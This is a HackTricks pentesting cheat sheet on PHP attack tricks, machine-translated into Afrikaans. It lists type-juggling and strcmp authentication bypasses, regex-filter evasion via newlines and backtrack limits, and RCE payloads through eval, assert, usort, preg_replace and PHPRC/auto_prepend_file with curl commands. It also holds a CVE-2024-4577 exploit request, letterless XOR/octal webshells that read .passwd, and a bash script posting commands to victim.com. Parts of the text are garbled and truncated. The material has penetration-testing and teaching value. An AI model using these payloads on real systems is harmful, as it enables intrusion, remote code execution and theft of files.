PHP Tricks
Reading time: 18 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Koekies algemene ligging:
Dit geld ook vir phpMyAdmin koekies.
Koekies:
PHPSESSID
phpMyAdmin
Liggings:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Omseiling van PHP vergelykings
Los vergelykings/Tipe Juggling ( == )
As ==
in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie gedraai soos verwag nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omgeskakel is; as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy ===
gebruik.
PHP vergelykingstabelle: https://www.php.net/manual/en/types.comparisons.php
"string" == 0 -> True
'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer"0xAAAA" == "43690" -> True
Strings wat uit nommers in desimale of hex formaat bestaan, kan met ander nommers/strings vergelyk word met True as resultaat as die nommers dieselfde was (nommers in 'n string word as nommers geĂŻnterpreteer)"0e3264578" == 0 --> True
'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0"0X3264578" == 0X --> True
'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0"0e12334" == "0" --> True
Dit is baie interessant omdat jy in sommige gevalle die stringinvoer van "0" en 'n inhoud wat gehas is en daarmee vergelyk word, kan beheer. Daarom, as jy 'n waarde kan verskaf wat 'n hash kan skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan reeds gehasde strings met hierdie formaat hier vind: https://github.com/spaze/hashes"X" == 0 --> True
Enige letter in 'n string is gelyk aan int 0
Meer inligting in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
Tipe Juggling beĂŻnvloed ook die in_array()
funksie standaard (jy moet die derde argument op true stel om 'n strikte vergelyking te maak):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
As hierdie funksie gebruik word vir enige outentikasie kontrole (soos om die wagwoord te kontroleer) en die gebruiker een kant van die vergelyking beheer, kan hy 'n leë array in plaas van 'n string as die waarde van die wagwoord stuur (https://example.com/login.php/?username=admin&password[]=
) en hierdie kontrole omseil:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
Die dieselfde fout gebeur met strcasecmp()
Strikte tipe Juggling
Selfs al word ===
gebruik kan daar foute wees wat die vergelyking kwesbaar maak vir tipe juggling. Byvoorbeeld, as die vergelyking die data na 'n ander tipe objek omskakel voordat dit vergelyk:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
kan gebruik word om gebruikersinvoer te valideer (dit kontroleer of enige woord/regex van 'n swartlys teenwoordig is in die gebruikersinvoer en as dit nie is nie, kan die kode sy uitvoering voortset).
Nuwe lyn omseiling
E however, wanneer die begin van die regexp preg_match()
slegs die eerste lyn van die gebruikersinvoer kontroleer, dan, as jy op een of ander manier die invoer in verskeie lyne kan stuur, kan jy in staat wees om hierdie kontrole te omseil. Voorbeeld:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
Om hierdie kontrole te omseil, kan jy die waarde met nuwe lyne urlencoded stuur (%0A
) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:
{
"cmd": "cat /etc/passwd"
}
Vind 'n voorbeeld hier: https://ramadistra.dev/fbctf-2019-rceservice
Lengte fout omseiling
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)
As jy preg_match()
'n geldige baie groot invoer kan stuur, sal dit nie in staat wees om dit te verwerk nie en jy sal in staat wees om die kontrole te omseil. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong
In kort gebeur die probleem omdat die preg_*
funksies in PHP op die PCRE biblioteek bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet standaard op 100.000 wat meer is as wat in die stapel pas.
Hierdie Stackoverflow draad is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:
Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die preg_match()
funksie false
laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos {system(<verybadcommand>)}
laat wees om SSTI --> RCE --> vlag :).
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die PHP dokumentasie sĂȘ, standaard op 1_000_000 (1M) in die pcre.backtrack_limit
veranderlike is.
Om dit te bereik, sal 'X'*500_001
1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Tipe Juggling vir PHP obfuskerings
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Voer Uit Na Hernoeming (EAR)
As PHP na 'n ander bladsy herlei, maar geen die
of exit
funksie is opgeroep nadat die koptekst Location
gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Pad Traversal en LĂȘer Insluiting Exploitatie
Kontroleer:
Meer truuks
- register_globals: In PHP < 4.1.1.1 of as verkeerd geconfigureer, kan register_globals aktief wees (of hul gedrag word nagebootst). Dit impliseer dat in globale veranderlikes soos $_GET as hulle 'n waarde het bv. $_GET["param"]="1234", kan jy dit toegang via **$param. Daarom, deur HTTP parameters te stuur kan jy veranderlikes** wat binne die kode gebruik word oorskryf.
- Die PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor, daarom as binne 'n domein verskillende koekies in verskillende paaie gebruik word kan jy maak dat 'n pad die koekie van die pad toegang gee deur die waarde van die ander pad koekie in te stel.
Op hierdie manier, as albei paaie toegang het tot 'n veranderlike met dieselfde naam kan jy maak dat die waarde van daardie veranderlike in pad1 op pad2 van toepassing is. En dan sal pad2 die veranderlikes van pad1 as geldig neem (deur die koekie die naam te gee wat ooreenstem met dit in pad2). - Wanneer jy die gebruikersname van die gebruikers van die masjien het. Kontroleer die adres: /~<USERNAME> om te sien of die php directories geaktiveer is.
- LFI en RCE met behulp van php wrappers
password_hash/password_verify
Hierdie funksies word tipies in PHP gebruik om hashes van wagwoorde te genereer en om te kontroleer of 'n wagwoord korrek is in vergelyking met 'n hash.
Die ondersteunde algoritmes is: PASSWORD_DEFAULT
en PASSWORD_BCRYPT
(begin met $2y$
). Let daarop dat PASSWORD_DEFAULT dikwels dieselfde is as PASSWORD_BCRYPT. En tans het PASSWORD_BCRYPT 'n grootte beperking in die invoer van 72bytes. Daarom, wanneer jy probeer om iets groter as 72bytes met hierdie algoritme te hash, sal slegs die eerste 72B gebruik word:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers omseil deur PHP foute te misbruik
Fout veroorsaak na instel van headers
Van hierdie twitter draad kan jy sien dat as meer as 1000 GET params of 1000 POST params of 20 lĂȘers gestuur word, PHP nie headers in die antwoord gaan instel nie.
Dit laat toe om byvoorbeeld CSP headers te omseil wat in kodes soos:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Vul 'n liggaam in voordat jy koptekste stel
As 'n PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee, kan die gebruiker die PHP-bediener dwing om 'n inhoud wat lank genoeg is te druk sodat wanneer dit probeer om die koptekste in die antwoord by te voeg, die bediener 'n fout sal gooi.
In die volgende scenario het die aanvaller die bediener gedwing om groot foute te gooi, en soos jy in die skerm kan sien, toe php probeer het om die kopinligting te wysig, kon dit nie (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie):
SSRF in PHP funksies
Kyk na die bladsy:
Kode-uitvoering
system("ls");
`ls`;
shell_exec("ls");
Kyk hierna vir meer nuttige PHP funksies
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
Om die kode in die "replace" argument uit te voer, is ten minste een ooreenkoms nodig.
Hierdie opsie van preg_replace is verouderd sedert PHP 5.5.0.
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Hierdie funksie binne php laat jou toe om kode wat in 'n string geskryf is uit te voer ten einde waar of vals te retourneer (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:
assert("strpos($_GET['page']),'..') === false")
--> In hierdie geval om RCE te verkry kan jy doen:
?page=a','NeVeR') === false and system('ls') and strpos('a
U sal die kode sintaksis moet breek, u payload moet byvoeg, en dit dan weer regmaak. U kan logiese operasies soos "and" of "%26%26" of "|" gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
Ander opsie is om die uitvoering van die opdrag by die string te voeg: '.highlight_file('.passwd').'
Ander opsie (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: $file = "hola"
RCE via usort()
Hierdie funksie word gebruik om 'n array van items te sorteer met behulp van 'n spesifieke funksie.
Om hierdie funksie te misbruik:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
U kan ook // gebruik om die res van die kode te kommentaar.
Om die aantal hakies wat u moet sluit te ontdek:
?order=id;}//
: ons kry 'n foutboodskap (Parse error: syntax error, unexpected ';'
). Ons mis waarskynlik een of meer hakies.?order=id);}//
: ons kry 'n waarskuwing. Dit lyk reg.?order=id));}//
: ons kry 'n foutboodskap (Parse error: syntax error, unexpected ')' i
). Ons het waarskynlik te veel sluitende hakies.
RCE via .httaccess
As u 'n .htaccess kan oplaai, kan u verskeie dinge konfigureer en selfs kode uitvoer (om te konfigureer dat lĂȘers met die uitbreiding .htaccess uitgevoer kan word).
Verskillende .htaccess shells kan hier gevind word.
RCE via Env Variabeles
As u 'n kwesbaarheid vind wat u toelaat om omgewingsvariabeles in PHP te wysig (en nog een om lĂȘers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om RCE te verkry.
LD_PRELOAD
: Hierdie omgewingsvariabele laat u toe om arbitrĂȘre biblioteke te laai wanneer u ander binĂȘre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).PHPRC
: Gee PHP instruksies oor waar om sy konfigurasielĂȘer te vind, wat gewoonlikphp.ini
genoem word. As u u eie konfigurasielĂȘer kan oplaai, gebruik danPHPRC
om PHP daarop te wys. Voeg 'nauto_prepend_file
inskrywing by wat 'n tweede opgelaaide lĂȘer spesifiseer. Hierdie tweede lĂȘer bevat normale PHP kode, wat dan deur die PHP runtime uitgevoer word voordat enige ander kode.
- Laai 'n PHP-lĂȘer op wat ons shellcode bevat
- Laai 'n tweede lĂȘer op, wat 'n
auto_prepend_file
riglyn bevat wat die PHP preprocessor instrueer om die lĂȘer wat ons in stap 1 opgelaai het, uit te voer - Stel die
PHPRC
variabele in op die lĂȘer wat ons in stap 2 opgelaai het.
- Kry meer inligting oor hoe om hierdie ketting uit te voer uit die oorspronklike verslag.
- PHPRC - 'n ander opsie
- As u nie lĂȘers kan oplaai nie, kan u in FreeBSD die "lĂȘer"
/dev/fd/0
gebruik wat diestdin
bevat, wat die liggaam van die versoek is wat na diestdin
gestuur is: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Of om RCE te verkry, stel
allow_url_include
in en voeg 'n lĂȘer met base64 PHP kode voor: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Tegniek uit hierdie verslag.
XAMPP CGI RCE - CVE-2024-4577
Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos http://host/cgi.php?foo=bar
as php.exe cgi.php foo=bar
, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te spuit om die PHP-kode uit die liggaam te laai:
-d allow_url_include=1 -d auto_prepend_file=php://input
Boonop, dit is moontlik om die "-" parameter in te voeg met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van hierdie pos:
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization omseiling & Brain Fuck
In hierdie pos is dit moontlik om wonderlike idees te vind om 'n brain fuck PHP-kode te genereer met baie min karakters wat toegelaat word.
Boonop word daar ook 'n interessante manier voorgestel om funksies uit te voer wat hulle in staat gestel het om verskeie kontroles te omseil:
(1)->{system($_GET[chr(97)])}
PHP Statiese analise
Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van hier):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktiveer in /etc/php5/apache2/php.ini
deur display_errors = On
by te voeg en apache te herbegin: sudo systemctl restart apache2
Deobfuskerende PHP-kode
Jy kan die web www.unphp.net gebruik om php-kode te deobfuskeer.
PHP Wrappers & Protokolle
PHP Wrappers en protokolle kan jou toelaat om skrywe en lees beskermings in 'n stelsel te omseil en dit te kompromitteer. Vir meer inligting, kyk na hierdie bladsy.
Xdebug ongeverifieerde RCE
As jy sien dat Xdebug geaktiveer is in 'n phpconfig()
uitvoer, moet jy probeer om RCE te verkry via https://github.com/nqxcode/xdebug-exploit
Veranderlike veranderlikes
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE wat nuwe $_GET["a"]($_GET["b") misbruik
As jy op 'n bladsy 'n nuwe objek van 'n arbitrĂȘre klas kan skep, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
PHP - RCE abusing object creation: new $_GET"a"
Voer PHP uit sonder letters
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Gebruik oktale
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If Âą___ not needed then $_($__), show_source(.passwd)
XOR maklik shell kode
Volgens hierdie skrywe is dit moontlik om 'n maklike shellkode op hierdie manier te genereer:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
So, as jy arbitraire PHP kan uitvoer sonder nommers en letters kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
Vir 'n meer diepgaande verduideliking, kyk na https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (binne eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl soos
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.